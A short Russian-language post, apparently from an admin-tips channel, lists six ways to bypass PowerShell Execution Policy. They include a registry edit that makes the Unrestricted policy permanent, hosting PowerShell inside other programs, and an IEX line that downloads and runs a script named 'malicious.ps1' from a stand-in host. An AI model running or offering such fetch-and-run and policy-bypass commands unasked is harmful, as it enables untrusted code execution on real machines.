PowerShell в Windows использует Execution Policy для защиты от запуска неподписанных или вредоносных скриптов. Однако часто возникает ситуация, когда необходимо обойти эти ограничения. Разберём популярные способы.
1️⃣ Запуск с параметром -ExecutionPolicy Bypass. Самый простой способ временно отключить политику выполнения:
powershell -ExecutionPolicy Bypass -File script.ps1
Позволяет запустить скрипт без изменения системных настроек.
2️⃣ Изменение политики выполнения. Можно явно разрешить выполнение скриптов:
Set-ExecutionPolicy Unrestricted -Scope Process
⚠️ Работает только в текущем сеансе PowerShell.
3️⃣ Выполнение через powershell -Command. Позволяет выполнять код без изменения политики:
powershell -Command "Start-Process notepad.exe"
Хорошо подходит для разового выполнения команд.
4️⃣ Использование IEX (Invoke-Expression). Позволяет загружать и выполнять код из строки или сети:
IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')
Удобно для удалённого выполнения команд.
5️⃣ Изменение реестра. Политику можно изменить через реестр:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name ExecutionPolicy -Value Unrestricted
Даёт постоянный эффект.
6️⃣ Использование PowerShell.dll. Можно загрузить PowerShell как библиотеку в обход стандартного механизма запуска:
System.Management.Automation.PowerShell.Create().AddScript("Start-Process calc.exe").Invoke();
Подходит для внедрения в программы.
#windows #scripts
🧑💻 NetworkAdmin